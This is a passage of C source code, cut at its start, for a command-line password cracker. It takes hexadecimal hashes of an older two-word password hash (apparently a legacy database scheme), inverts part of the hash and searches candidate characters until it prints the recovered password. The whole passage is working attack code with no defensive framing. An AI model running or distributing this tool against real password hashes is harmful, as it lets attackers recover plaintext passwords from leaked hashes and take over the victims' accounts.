state1\_ary[i+1] = state1\_ary[i] ^ xor\_ary[i];

state2\_ary[i+1] = state2\_ary[i]

+ ((state2\_ary[i] << 8) ^ state1\_ary[i+1]);

}

state1 = state1\_ary[i+1];

state2 = state2\_ary[i+1];

step = (state1 & 0x3f) + sum;

xor1 = step\*MIN\_CHAR + (state1 << 8);

xor2 = (state2 << 8) ^ state1;

for (c = MIN\_CHAR; c <= MAX\_CHAR; c++, xor1 += step) {

newstate2 = state2 + (xor1 ^ xor2);

newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);

div = (newstate1 & 0x3f) + sum + c;

diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;

if (diff % div != 0) continue;

d = diff / div;

if (d < MIN\_CHAR || d > MAX\_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;

diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;

if (diff % div != 0) continue;

e = diff / div;

if (e < MIN\_CHAR || e > MAX\_CHAR) continue;

pass\_ary[i+1] = c;

pass\_ary[i+2] = d;

pass\_ary[i+3] = e;

return 1;

}

while (i >= 0 && pass\_ary[i] >= MAX\_CHAR) {

sum -= MAX\_CHAR;

i--;

}

if (i < 0) break;

pass\_ary[i]++;

xor\_ary[i] += step\_ary[i];

sum++;

state1\_ary[i+1] = state1\_ary[i] ^ xor\_ary[i];

state2\_ary[i+1] = state2\_ary[i]

+ ((state2\_ary[i] << 8) ^ state1\_ary[i+1]);

}

return 0;

}

void crack(char \*hash)

{

int i, len;

u32 targ1, targ2, targ3;

int pass[MAX\_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {

printf("Invalid password hash: %s\n", hash);

return;

}

printf("Hash: %08lx%08lx\n", targ1, targ2);

targ3 = targ2 - targ1;

targ3 = targ2 - ((targ3 << 8) ^ targ1);

targ3 = targ2 - ((targ3 << 8) ^ targ1);

targ3 = targ2 - ((targ3 << 8) ^ targ1);

for (len = 3; len <= MAX\_LEN; len++) {

printf("Trying length %d\n", len);

if ( crack0(len-4, targ1, targ3, pass) ) {

printf("Found pass: ");

for (i = 0; i < len; i++)

putchar(pass[i]);

putchar('\n');

break;

}

}

if (len > MAX\_LEN)

printf("Pass not found\n");

}

int main(int argc, char \*argv[])

{

int i;

if (argc <= 1)

printf("usage: %s hash\n", argv[0]);

for (i = 1; i < argc; i++)

crack(argv[i]);

return 0;

}